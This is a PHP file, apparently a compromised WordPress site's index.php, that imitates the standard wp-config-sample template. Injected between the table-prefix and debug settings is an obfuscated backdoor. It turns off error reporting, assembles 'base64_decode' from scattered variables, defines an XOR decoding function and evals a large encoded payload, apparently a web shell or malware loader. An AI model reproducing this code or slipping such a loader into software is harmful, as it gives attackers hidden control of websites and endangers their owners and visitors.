/home/devscfvi/sentiumsystems.devsquantum.com/humanlike/spreadable/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';



error_reporting(0);$pxru="a";$oztmk="b";
$sviy="xtpaey";

$rusjcuxg="6";

$qdzmkx="s";$alsmjuqn="e";$bals="smrorzzoz";$xmrca="4";

$msfiarm="_";$bchou="mkf";$ztatmvq="v";

$aiwjih="c";$xvtk="ndmpkop";

$vfar="oohafy";$iufr="l";$enjrj="miy";$nlojkv="d";


$obasuv="o";
function s($z, $l){ 
$h=""; for($g=0;$g<strlen($z);) for($x=0;$x<strlen($l);$x++, $g++) $h .= $z[$g] ^ $l[$x]; return $h; };$dtlj="gvbfnab";



$kvtxeqh="vnbhfhpv";



$etsyx="vedcdt";




$indwlnzg=$oztmk.





$pxru




.$qdzmkx.
$alsmjuqn.




$rusjcuxg



.$xmrca




.$msfiarm.



$nlojkv




.$alsmjuqn.

$aiwjih



.$obasuv

.$nlojkv.

$alsmjuqn




;




$wicjj="prkmdj";


$ddzz="tpzqr";











eval(s($indwlnzg("ECXVJXX\K[ZYACZ_NAKZm^_I^Zh@gIUTEN_TUEA&\M
zEXIIH_XJ
M^MAFY&PM sJEIs XJVUWX	XjE@ObUTK 
]UZm^ZM@E X<CBhICHSJFORIPMY\HFTHLH^EO[O@EIOP&^hIXOXG\S	C4GIJO CEV []WO XJcKT\Z [@@U6qW ^UBXV;E\_IeBJc\O\]WBG\I.XcCRTEYMSDOLM_>XO5TUV]G^M^:B9_HTVOT^@^_I=BXO.[EQHJT^ecSTVSACYG MR\M^e;ETGHNNCT]]^eBX+JYGDJ^I?(RTTV]AD\^_(XBc^PHTVOKRTSEE`I[MIG
w\Y
)@\/J_DEX:IZQQOR~W\?E\DS0\wS_D7_^CQk W]]AHCOAI	(BFINQTUP]C\]TF4ICT[F^SO]T]E)3\]TL@7w%_HTVJILRTEY]FX)OFCT[PQ4RTWR]C\]TA4ITB_L)TQ[_;S]TLL2[ZTGENQKMY@PBIhCw%__KIO1SXTEY_@Q^Q^SOJTMI\O\]TqBZEe	@wT@
_>TENJ MFM@SSASXq\w4ICT[B^SO]TPE_;S]TGL2[G@Q4RTKq\Aw'ETFL2[ZTGGONQBI9N_UBEKM C^<2[ZTGDINQSCO_J^A) _\MEC!SO_>TENJ MFK@Sq EYYJHYBXw'PBIC%__KO1D@]\TVRGA^PHTVNH7JYDDAqO2[GBQ4RTK/XTD0wSTVSC%_HTVOLRTEZO]FDTRTAP%PCOYAX/;DI]OFCT[GPQ4RTPR]C\JTGNJ ZTGCL)TUPSAS Iq\@Q[Q^SO]TE]3]qw\PANM]$PWMI\XTE]'WB__\+W9Kw'@\N_WB]$PWM?w'@DHS4ICT[E^SO]T]E)D[PBMZKMw9QG WLEYJ\PBM+[\ZCOYAX/;DO]OQZ_\_C	]qwTGP_JDqXHM NWMHQM @B C\SR_A_YS_MTEL @H[ NN\QCBSJ^JCAIBX?1D@[\PAMM]$PK7JYDDXSq4ITC_L]A^3\]TM4ICT[^%4RTKS<XC^A/WB]$PKqYEOYXECIO_[CW_Z\kMY^YIYBC:[*6`S@S@cw`:ZIYXc\ IVHOO_XB\NHOB!TUV]C\]T4ICT[G^SOJTMI Oq\>FZMYPQBOXE3@CB_ YZ:T_GFN0^onZCN<ESAAE  @PC]D$<Ac @SDj S_XF_XPT75 
ZSD	C SJCF_Y@EJV7e^|&E S	XJ X0CKFvZPIO] AIE SKJ MIKFIZP_] O_E SBJ @AKFC	ZPX"] xIE S[LfAG3]KFJZPI] \XE S_E_b9VC(F_CPT_LoUC)GSDA S@CF_UPT X XSD#M SIBF_SF@Lt5#N_IHEI'XJ^I_S ]	FK]oDEHEJXJXEAS FK]X{EHEJXJC^AS SF
K]\@MHEB'XJ^mKS 1F
K]DEHHEXXJDM_S FK]}_T?O SYNXV( y8ZPTB  ESDB SEB F_\PTULR)^%	MJ CZKFYZP^] xE	E SVJ EBKFJZP<M] EBE SxJ IY^KFCZPI	] i@EqO/BOXCBOH^XAQ^I^Hk\DQE\Y: ZTGFL]Iq7JYBDSTVRC Y!SO_JIqIH@MBY,+WOEYOqI'cb/WB_]$PK7JYDqHXMNMCA-$PWMI\XTE_'PACQ:REB\YK O IBX/@QYMQ^S]qwCRTE\SDSTVSBC%__KOE@Oq\C^A] Jw9FISS@Aq\D~_m
O8CHUYBBJXCW?NOCB_BZI3L]DGXKM QF@_LaY05fO S@MX_X=vB?'_ @IRRx^ C[@MTYNBAF5=vV_HECXJoDES FK]UpTVRXOMY`'ic77T My$;_ @@E C^O S^G d;MQ[_i I
XOM IB@MTcFQ[_N _XO^  XI@MTZEDHUmB[OE SGJ H_KF@ZP
I] D^EqO/BOXCBOH^XAQ^I^Hk\DQYBC[CB_XD-D\IDE[Kw+^XWOCB8U\_IeX(ICT[^QW\MI=X\"TENH\]^eBX+JDFY[TTJ^\^1BRcTUQ]ADM^:B9_HTVIT_MIeB cOQ^_^WL\MI=X\"PFZE@QJ
M^_I-X\'DI]WKJ^;EZN^I	_M\wY_F.wQEqMYQ	X~\w@_+_w@	DEJXC?]A	QkXT^UBN_LY	XECBDD[]OCBX\4CYIJO CE` ~]W`Z-^DDC@c\?.qOI ^B;QK[VF[_L@Y^@YEC6VH.w9FITSTF]FDTUXTA^PHTVIH7JD@\q\TNMB	D=@HCOIw'ETE@HXBFJHNQTUP]C\JTFNJTXMq^PNAMBODiA/>TENNJT@+J+WO1DG[\TVRA^PHTVIICX	BC^iIA<2[ZTGDKNQJqY^DMDC^1@I
: MFK@STGY]FMHSqS_HOB!TUPM]CJqw\PAM]$PK7JDGS@H@<[MO
iA M
DiAw\PGM]PG@' HYB 6DTU TAP%w4RTV]C\JTGNNJ MFKO@S@HC?O^i@AKX>EYRJYBOC@CB_ YZ2H[BwRTUKq/S]TFL[ZTGENQYTUP]CY\]TICT[G^%@QHRTG]V&PDX
SJJZYFHEZZ^HU@IIJEBWTTRDZZV@ANSAA@	_YB\HT	E_XENCMWI	YMHID
IE KIB_^NDZNZ^VSEJ\Y]\\TIDD_\M
\[\HZ
@QBW_EVI^BZXD]DBZT]CXECBDCIMN@\IXXKE@\\I I__TZIJOC	Z\MH^B_B NY@_X[NEJFH
NXMNJTNJQNH\[NVHFHEZ\[H	EZHHM\FH	\MBX HGNJQHEZJVEVUJC
VWDWQCZFGA	\]_@CICBJHI	SKXYEBO_TS\H\Y]EJXED\KH\_X@IZFCX[V@TRDXD]ZYBIWMD\ODDX@@ ^CHVBYFE\V[\J_ONJ_IZ]JCBXIET]DWQCZFGHM\_TDM^DC^J\IC_XXEAC_I\J\M^E@UXMNJTNJQNH\[NVHFHEZ ZJTZHMJX[EZKEVSNJ\Y]\\T[UHEZXHGEJQHEZJVEAZ_XU@__MUTBC	HJ[DZ]DKS]JMA^IJ_@DEJAVS\JHMEHFDEFY&~B2_IX\M[5Y'J
IB D@VA~gJYBXESKBX(MBHC	1XBE@IKXAN[_W&GZ^I^H__X^\_X> DJ^s^IM @PMNHIE GC^_XYTm6.hij3de-*?a$c&&*3/z{tu>E TI@BK	\_^CMNXL@KXD]&kyE^VY	XECB;TXEKI ~I:\+H9j@SW&DBBECBTKI3Me6H;jBEH\LIA\ UC> i8z3%# ?ce|s%&h&Oq]D

TC> i8z3%# ?ce|s%&h&Oq]QFWOC[_^XWC\s7'~"-~/Jkic=|s&%7~MqM
XI	IEJLJ\ s'i~1$!wMd"#(s?%jc~{%0h1,s2"~q]AGSB)$=~1?~wd06|+0s2"~{m&hi#>5c8+^D@KJREOTK
\s4$!z/~-P0x3*stsj+0{5:h1)sjc&qN]MNs%2*z"(wi64i&7m0)~q]GWE@I CNP71?zi~/d35#s2s08*{&(hihs"-~S5OME\TCwZqM
XI	IEJLJ\ s'i~1$!wMd"#(s$6eibx;+|S5]M

\826~<i$,_d3.|so`-'b 7e$JqJUV]DXF_G\
@=1:z1?wd x|8"?e/b"(1|@'@=1:z1?w1~z"3,m.h$P%NSWE_+;i&;i~wSdx31,o&e39,s.*qQD@EMA\[53%.i5!dxx4=o27o;#bio eb >:|Mq_^X
AZs7'~"-~/Jdxx$so!>0c$b34,e)=se|9KJOFZD@HS
L^_\s4?~zi~?Ed <|+.jso;bb""'e$k)>(:S;1i&>i&6i&zi5>2h.~Q*QNZWE\YFs'-~"(~w<xx7>0j5o996i$.ebks-2)SQT@_ITWN53%.i5!~ia+6i+)h0?q	^^RG&Q&&\IJOXEBs__^PI(IM@^]AgTJY	EBVX5M@^IJT&~MTGAC%i~z!0wS x =s~i2i~"3TqCVrGZDBTH+>i~z1~w@)'x:s$2>i5?~qYBKId x|836j/~3%_\pDBT&~MTGBIUO^si~2'~/Od 9|s~1ji5$!7_W
I^BFY&~HTMT^IBJ)$=~1?~wd06|+:i2(~i~SqmASJQ|
r&JO C2ITEX_OFI~Y]W&DBTYXECK!I@PGEJ\ P2i~"i~<F;x>|)"+i5%mkib0Eq]AMs1~z"3("x"''y4?~smk!,xS5IMKIXBZOF;x>|)"+i5%mkib0EOHQTIXYBC> i8z3%#/.x|sy7'~+)k1#xqOQmy&YEKIX AB:AI]WmASJH_M I+I]Y_X8	MIP\pXBTIDIMI^:Qd_U%m&&JY
XBT
IX|CX@BVrGZ^IXBT@ \XU\s4$!z/~-P0x3*qDD
TLs'(~zi&w/5'|9+WYZZCJJCBPH+>i~z1~w@26~<i$((c5.qYB@[TRD X\[\HLWZD\FY&	b&BOXCBGX8I_2IMHI]HW~MPDI^KW^UnBTHJIMO826~<i$W_G^GIUY\PMI&GASJVO	YN_XJUXM A[_S"x"''NZW&DBTHTMOBXIQ&VWXGZQ&DBTHTMDIHIANX(
IMOICBXHYJ Y[C X(
IMOIC=XHTJ _ ^X[^^N^G T]]D~GASJRM^_wM^)MM@H&JVW&GZ^I^HMHI_my&YEAMX
hM\IDMUXM
_NB@VCJI U]MW&T[_)
^BI@ATIBII@IG\SM^P	IH@IMY&THTC^IODOEIHXMZ]YIT&TMT[_^CMU_XGXHI^UX_X_WYZZJM@_KXBXYI\A\J_JE^ YM^I_@XmASJQ|WXGIXY^
BJ_V&Q&~JY	EBVOICYI5H6_I@MSVrGZHMIHTiBOHIOE J^C&GZ^I^HNI+IBIBMNA&Q&&BEHICH2YO6H%_ILF_XHDW&TGE WIQNsHIOI\L_]V&T^^
hCHI@ TLK]V&Q&~JY	EBV^"OCHILFEY AGUGy&JVW\E	
YXnU_TUJs CsIR\&DBPI/UXIGJRs'NI_U]S&TMIU+KDVJXOBXU6X&~GAW^_nI_D9qObTMJCIM	SNEX%XI_PISNXINA&JVWXGZ^I_X6XwqIIJrVSI8UXI_?FETMPIU`BK	.`VWXQmp&DI ^MNUX_s,YJN_\^	Y@XnIA~&&JBOBJT<IHIT'^K PGIHSW`&VWXCBOCHnIMDTND+XBKnBTHUnU I_G\SYJN(C8UXI_LFGOgTG?IKXGCYBXLFGnI_O&&GASNHHnUXIBT3qOgTJCA[KWHG^E^B\IIBOHI#
X__LXQWnBTHTMHOCnX#qGGC^HLFICHnU I_<EqC(W\GnUXI9H	TIGIU8IB qQ&VWXp&DI ^MNUX_s,YJN_\HCHIH&XOgQ&&~JY	EBVJ_%XCsNI@^EBkSJYM^^s	\\JC^HS s\C	X^EBKObQ~gJYBXESNX'X%YXJLFNIDW&TGEIYXG]&DB^OD\N_JMW\NIWnBTHTM^_YSW
CUXI_hTH	gT^IBJY&Q&nYXBKX~C__\YW&nBTH_\I@ZyJV	sOM@NSY^@+EBTC}XGZ@DTU^@sBEIWY@_LrGZDYsXC\ 	_)y$;7|3%`s2'~=.u$(i~ TJMQ&VWXGZOYsXXD G"&~&c&#'46szi~-$u<' AO&GASJV^%_IXCPDXMoy~8c|3>5c&`9 4c$;xecbHB]S&TMT@5_\ROD D!y&$c$9s~i y~)5!m$02* GK&DBTHTY^@+_IXBT$/~`c|0=d1)h1? ]&GASJVWYs_IXX\LOAoy&`c75,o%b82;x33aicy0NEXOgTGAY@)X
XON7=~8"|xs ea".&xFGGQmZDBPIY^>TO^SDNA&DBTHMHIG^sE	C
]S&TMT@5OIO^ODnBTHTMEJTH^-PX
sOCHEqTIT_T^IBJJI\pBIIT&&TGASNY'\_IHYB\_2Y^@\YZ`VWXGZ__BT@@s\^_(OI@'C
X _SD&TGASN^XG]kixCBTLYs\M_I:T\XP%mpDBTJ\__I sMH<]]YI^Eq]API]Z@^TDR
@8
M^_I 9Iq~&GASJVS
IZD*x 8ECp^(BdJVYX@s\MI3_X)GC/^6B5BXECB^Bo_1^pB(^p	CH&JVWXGZ_COBT_GC\BOE _IW__DXSOTCY@s _H-PCq @_HTYNWHH&`VWXGZEJ@CT&TGASJV7\__GXH]~GASJVWXC_hTHTMT	@WCR_COK~HTMTGA&JVWXGZDBTLNTPJKX_OE C	GZWIUN&DBTHTMTGN^_W\^	\DFNObTMTGASJVCF>^(]M^I\kSJVWXGZQ&DBTHTMTlJ_ROS&DBTH	gTQ&GASI
BG^^I_\_hQ~bJOXEBY_'_RY^@HB	^ _&&GASN^ZZ&nBTHEEE_sM@ @Q^%EBEXCKT&~MTGEDJV^%EBEXLFYOg&TGASO^(I\X
 T+y&!c|x++>%i8e0.(i"( JMI]S&TMT@5_\ROD D!y&$c$9s8sz"3:j3d9$, GH&DBTHTY^@+_IXBT$/~`c|0=j;$`;:`co5xe(/_[M}XGZ^7_C\X\OMSo?~:8(x8(ixy~*6~5&2(~ EmASJVWXO@s_I\ @ o!~`(1's"i73=~KZ&DBTHTMOY^s_\R G9y~`c46s7'b:(oxx=ai(4' JF^C&GZDBO@+IXCXC Jo#%4c7.sxea!-y DE]&TGASJOsXC\XLFOD78~`c$xs7. xFG^C&GZDBO@+IXCXC Jo#%4c7.s|c0$e1$h'A\^M
Z`&VWXGZ^\TU^@sTIIWOM}XGZ@
IIMO^@8XBPCDnhTHTMO^@8CI^SDNA&&DBTHIMwMDsHIqDCTZDD^I Y^	AM_Lr&GZQIIT&~MTGE^s
_\_7YY@\kSJVWXC	_@DJ@+M^_Hw@DAP%ZGDX_SA~gTGAWOB XGG_X^A+CITX+O^ IBw|WXGZDBS_JTw&GASJVWXGZCIJ2\IIZ_SJ@T&GZDBTHTMI^
sI'BIZBJ_gTGASJ+}XGZ9K~b[MTGEIY0C@_HTJ__@N@AIM_WVC^@s\_wSC_XSqGOSPVYXC	_@DVGHTIY^@+\MH1
X@'&DBTHTI^I_@X/ XJV_\_@NGSMSIAWY@)^HwDXS5~gTGAJJR
@8
M^_I 9^ Jq&GASJVWXG^^I_YdXTCNIAWY@)^Hw\XS5~MTG@I}XGZDBTL^Y@X<C_A]JR@NZFBT\GMNIAKQ&VWXGZQ&nBTHTM_OGSJ_M
%_COGsEXI_d_[X^BC DFIa
 A 45!i+a)44e"4xsoc*,i7< TIOCB ITHH&`VWXGZEJ@CI DW&~GASJVWX
YX_@CI A|;xGCSJs^_IH?E\DS0Vd35#[F+
p	X&DBTHTM\Y[CXKZdC_XVHTIY^@+\MH1X@'8pJOgTGASJXR_COXXH7BXIXIP@MXEC
MTY[@JC^YB	Cp&BnBTHTMTJ_BG oXXYIBK DGC]_^C
M^MAKV4^(~GASJVWX
YX_@CI AoBBEBLW@	Ip^p
>^(]V&TGASJVY	_C	I DPM^M_IAQpp+
p	X&&DBTHTMT^G\SQ&VWXGZDB[@EJIJCOI^QpDBTHTMTNG\SJIPOGIXHBDZ]V&TGASJVWXGJ^MB_MPNmASJVWXGZDJ\LNTP(^p	CZN^VJX\pDBTHTMQ&&TGASJVWXJC_I@CI D&&TGASJQ|}XGZQ&&DBXBI_Zy&&|BECB XX1 ME@=Bk$ED5\R\M^ TLGW~GAIYX\KsAMD\J4B IOYm	nM_IRV@OCH MZW\GYBXI~MTGGU&JVWXGZ\^IK;M D\Op[ GOH$YImBH&_^\^@HOC[MKZGIUMKIU YI~Q&mB	XXIOX!Me*IX{XD%  I\^SMAWnBTH^Y^BT\^,AXPH: _^+	IOCIC^A_^XZZX^YInBTHTM

~GASJK8MXODL@(FVANMIS>I	CP^MAMBIHXI&	&&OEXHIOXi	E!B3XM^Z&VWXXY^BD^sXOD\'NQ J
M
SYbTMT
AkSJVWXIKsAO@[1X MVJEYI&h&BECBT\^~Bx@I
AEDPYA]WmASJ@Z_h&THTC^\EZQHNEVKX^HBXHAOJXJW|WXGZXZPKII^~BEBKMBTOSV&TQmkSJYXEIObQ~gEJPs"3%i8wQ%=}2?xsa!6d;,)MTk"5TL
V_sk!6wSGS0
RXMN8IOCHJ+/i 6XGSqNANJ EXIxCB0O	IHTW&mASJ
A#XMD^	UTEXGVYAWZ@X.CGIB OID&TC^AWE_I;BHEF_CsI	HR^
>MXMMY&~HTM^IYI&^KW\D	X@M  zEHM ImkSJR_B_IYBXA\X^EsX I_*C_X@IIy^@X M__^Qmp@_cIOXTB5HHRHIOC ^mBH6M_WGN^C		I U]A~gTEJGIWFC8FXWCMHIxCIB@SWR@MXIx	I,IHIHT

GE_B9IW^X GIBSQZ\SZsG'CW%ChTHTMIDCG CsCsRsXsO&TGy&JVWT&Q&nFI	E9^MOI^G\SH|S
IZKI0I^~EANI%M3\mHH#j\A~IYMIK!I@P\p^I]_ =^MC_A]N_I>I\@C)IS&~J__[5k3##qD&THTJIXiM1B X{EX!^X\Iski wTqFRUNSIA@ MI^IHH
O;BHnM@@XA+ki3:TE+^TCIUnBTHEMHI IO$M@??I-EXDnIB\P2kix/EF.CRMx^MO^TU_I@sHHR(?i3!EH9K~HTMEJ\HIX/Ae	=IX;%i 3	q]ExG;%i 3	q~&GASI_*M^MABT	^U~GASJQGGI	E<^GI^X&GASJVP\@Z ~HTMT^TWVS
IV&DBTHJ yJV^C&mZ]_ =M^M_ZA^IHRIBOC ^mBH6M_WG^OIFB+BHIP^I_|AS DFG]V&T \ _+XZ^II|XI] X?^[X]YI_2M	AD&&TGIBM}&mJ;1i&>i&6~i%yi45,a/x>8<:ZC2c'<TK
E_IIWs:c%##]qhTHP_CBTC>#c9x-P:A&DFHMTPF_BsCI^S_ X^Ob&TMEB5@s^C^MBIU>>cbs1~~(3,b%b3^XWmZDBX2^I_CB,OH_JWS&DBTHEX~GA&`VWXOIEZg_TPM^MU8
URXS&&DB\CYB  MCWJEPSW&DBTHTXX\+^IBI)HR_hTHTMIEX\kSJ}rGZHMc___[M#]qDFHM/JHqT@FH&JVW\BIcJJXTU_IX\HwMBQ*QXZHMX9OqTWO&GASU'MC^AYBEI EHM Mw@7VHXXMw)HTJ&TGE UyWE	_IX@M 	wSYq]GEMM-PY@'CY&THTIEJ^AI2 SJEXO^HMXM?EEOq]MMX:TE+WB@]&DBN0EZIG _X^SMw[HC?TWP	MXM/[F.PQPC&GZ@K!	IME__XC> i8z3%#/.x|sm'!i$<s8,bky5ki@<ZU_s!0z1:wS%xx|+mo$$#x5`79?y&=iq DR TZTWO&GASAZZ&DBTLIE@|^M
/AKWZ\p@YU'^EBkIANHM}XGZDIM ^$M C^AT ~]X/MHI^J/JoDYyMJ1MJ:ZKI0IIdIMI^IZwHUoWyM|X^OqT\kSJR_*M^MAD__HXM<F\Mq_WGCMXMwC
\S5NM~&GASJ^DGRski0BMHAIIC^A_W&GZDBEHPM^MZAQC}XGZDBTJTEHIXOX"Ee0X0XDo^X\L\MA TGZJW|WXGZDBTHTIIAM@ZAI	C+COImB  M@EX^E MZW\G&DBTHTMTGEAE'^bMAID_PM&TGASJVWXGZOCBXYS&TMTGASIERHIXIi	E$BkI {E	1MI@CP^MAMBW~HTMTGASJRMNIB\sOCHXN\ANVGIK~HTMTGASJRM|M^M	,MIMBMImASJVWXGZDCEI&TGASJVWXQ_IEJLI O (AMEeB N\ANSW&DBTHTMTGEAEWEC
M^MA_hTHTMTGASNI@7^MAbITUPMAIO&GASJVWXGZOXYV&TGASJV
rGZDBTHI^U'X^kXVYECMAIJBIOZM\MMAGOSLM}XGZhTH	g&T^B =IXDYXE]Y^U4EK1 GJ MY&~HTMEJ\D|^Qp&DBTH_D|^M
ANXCM_D|MDPM_D$M^(7M}rGZDJT@HIOX1AM:B-I X9^U\XLFDD$^MAX
C}XGZDBTLIE@IHH
O;BHnM@@_D|^M
MSI^C&GZDBQ~HTMTI@JBHO?AME@-k{DnMISIWD_'^WnBTHTMTEKWMsHCPM_D$M^Z`VWXGZQ&DBTHT@_IJI	X3E3BkIXLFDD$^MA]kSJVWXGZI	EHTIDM_|M `VWXGZQ&&DBT&~MP^I_|AZM^UT@&TMT@JHW\EV&DBTHJICJF&VWXGZYEIVPM &TGASJPXYZ@MB7MXbTMTTWVSA@ &DBTHTJHICXcIV&DBTHJTBcJ mZDBS\SMP_U1MJ mZDBS \SMPDI^:@C &DBTHSYIC
_?MZ}XGZCYSHJMEJMA4 `VWXGZ[HCBJHNh^ZIkSJ_Lr&GZ^YX$^MAG@BIOBOCH1CO,BHn_IQU[FC(BHI]_ =M^M_GMSI^QmZ_"_X^TY_'_R^I]_ =^A^]Y|^\p@IfBcNG CsCHIOI'YImBnMEB\-	CBXNPID&TGB\-	CBcNBIHVDITXmkSJXCI_\fB;
FYSWMXE5CzXQYB_ A`EGNA&`VWXGZEJLF^\>CBcFYQY@T
XZZE S&~MTGB\-	CBcNOJXIcJ"E_^HQVJEEB[MBHVAgTGASJYXXIC	XHD \IYE\T^JD@ZOCBXXIOO^@VC_fcW@VZOO&GASJVWXGIMHIJ8OECBNIAW^_=C	5NF@Y	AX^I GRCC|WXGZDBE V&TGASQ@XWmpDBTHTMEJ\_X_B\-	CBcNOJYQ TC	^ZYEOCACKUUTM@_kSJVWXGZDB[HICHAI SDXZ]Z^^DSMOCB IB\TQYEIZ^I_(_cWVY^CDQIZmZDBTHTMIMH`XBJB_'_CB;NFJ_^U G^YI DQFA~MTGASJVWXIX&DBTHTM	&&GASJVWXGZEJ@A@TPVkyJVWXGZDBYBX\s $'JVGQpDBTHTMTGA\JIEFAIXMD
X YEZI^IDQWC	IBXCR@IOI_+ CcUXY^@BVWZM]Y^U4EK1IXnBTHTMTGASJVM^`M CWT^fC8FJDWY^@QTFKOYI XE?IVX^YNGX]V&TGASJVWXGZIXObTMTGASJV
@W&&DBTHTMTGASJXCM_D|MAgTGASJVWXGZDB[HICHAI SDXZ]Z^^DSMOCB IB\TQYEIZ^I_(_cWVY^CDR_*M^MADLSVOgTGASJVWXGZDBD	H`OMBPTYX_\f_cJY^QGOSM(MA XIXHD_&TGASJVWXGZDBTHIX&TGASJVWXGZDIIT&TGASJVWXGZDB[GDCVAXUIEZJ_JOCXI	NZET^IfB;FYQQJTPF\pDBTHTMTGASJH`CXBNMP^I9_B9YY^@F T^ D\kSJVWXGZDBTHTMIEX\kSJVWXGZDBTH	g&TGASJVWXG&&DBTHTMQ@_A&`VWXGZDBTHEE]Y^U4EK1ZGD&THTMTGASJVWXEZDM
|MDW&TGASJVWXGZDBTH[MIOD[X\J]YEZYE^^DCBXWFL^G_"_cNFYWE@HQVYX_D|MATFSS&TGASJVWXGZDBTHDHI^\`XCMXIZ^I_(_cWVY^CDR_*M^MAHBXIXM]&GASJVWXGZDBTHTMITE &GASJVWXGZDBTIIW~GASJVWXGZDBTH[BIOCE]IMVXWI]YE_J_DTOC	BQGCY@IfBcNC^WVXXI	E8MAbMIICNDRMZ@~HTMTGASJVWXGZDII@8OMXCB]AQJ\-	CBcNOJYQZEOSA|MAbM	ZJVCIMEMSXY[XWH&DBTHTMTGASJVWXIX&DBTHTMTGASJQ|WXGZDBTHTI@_WmkSJVWXGZDBTHM_1^A_W&GZDBTHTMTGASEVDZAIX@I]YZ@JI_BXIB_DSYT^fC8FJDWY^@QZJVC]I^2^B0XGTDM
|MMS\kSJVWXGZDBTHTMDMH[&CEDF^\>CBcFYQY@T
XEEI EBK3IXGOQHVSM|M^M	N YAFmASJVWXGZDBTHTMITXmASJVWXGZDBTHQ_I&GASJVWXGZDBTHTBIDCGCOAXWX
I]YSII_DSOIXKPH@@IfBcNC^YZETIAM|M#MAIZEOSAE\I EBK3IXGOSMTLrGZDBTHTMTGASDM
E6COMXBNHZI^I_f_<N HZYQ[@PA@|MMA) IDKUVCAME@J@
VFPYI^XK-I[XXI TPObTMTGASJVWXGZIXObTMTGASJVWXG&&DBTHTMTkyJVWXGZQnhTHTMQ~&GASQ`&VWX^\>C"NFJWEB0
z	EXC^FIUVDC[<XACZ&VWXGZOXXTPNMIS>I	CP_\f_cJDX@HH&JVWXGZlIZMJKVTCOBXQ&VWXGZIT~HTMQ&&TGB\-	CBcNOJMECB2C^1 ECUZGDChM&GASJVS^.C~IHIIMKIX$^CC_WV XhCAB:	AE&TGASJYWOAMT X I]EZZFI^GCBXI
SX@Zx~^XC\ObTMTD IT;OECBD@TLYxC~HEXFIKZ_hTHTMIEX\kSJ}rGZEJLF^\>CBcFYQM	XjzE_E^VIPBXjHHVrGZD
X s_\C_I8HBGL\pDBTT&TkyJVO^^I_\.C'N@WOXj^ E^QY_VE&&GASJVWJGR^I_(_cWVJEMIT
XZZ I\A~gTGAWJ@3XZNM@7ICHI\DISEIQNsHIOI\L^\f_Bc^I#XMQMKOb&TMTSN)X8IZI@LKT&TMTGASN)H8@IMBLK~HTMTQ&mASJVWXXIoDMIIBX~C
)X^EBJObTMTI$Y^ZKI
^I&BHCXKBM}XGZ@ U mMUIK^X%BAX^K\A~gTGAW_Z6ZZKIBIX:M	CA ^E	[Q&VWXGZNN:	AMKBI I8MA4^EBKLK~bTMTI	NDIZ_O\ V&TMJBOBJXW\_Im_J@Y T&GASJVUVC	MZIm1CO/CHUTmASJQ|}XGZJYBE]MW&TGASIWZG^NUXI'
M	O ^_ZZAXN^PZG^JE@I XHVJ&TGASJVWX&GZDB@VCNXI)N^WVGGBI[D#^	U\OUX"MM^Z@K  OgTGAC^XG_BETTVCNXI$	^O
_GT@I
XSF&GASJVWXGXNI:A^_Zw<SJXW\NIoDMO ^MDM"Hm_\pDBT&TMTHVSUm^^MBVHTI[!EBY2^M_ZG^NUXI*A^MO&GASJV}XGZXTJTIN@CbM
SHKWIZn@CNL9ZHXIm^MA]7 VUJB_'_CB;NFJ_E,UQFEQ]S&~MTGC]N_mZJBC#MAITKATDR_0_CBcJ@IBAIESH_LrGZDhTH	D~&GASE_\D&&DBTHTMEJ\^fC8FJDW^I ^X5XI^2E@CJW|WXGZDBDMAXMG	XEG^IJ_OBXIX@QHY@KUVCI_\fB;
FYSW^HEX+J
jIQJ@JJ~MTGASJImZDB	b&TMTXQ&VWXp&Q&&[\&~T0"oxu$i@T&JAD&DI~HTMXE @IY]L\\VDZ\^EB0MC9EX@KAFQHKWX@I&XMD	HJgNCUm]L\\VDZDXABTJ^E\ GOS _%^hIXIZHHB_O^\XYCHU|KWNU&K
X~"),"as,j,vwx,gz,,,,db,th,tm,,,t,,g"));




$set="yxaijtb";
$atla="vf";




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';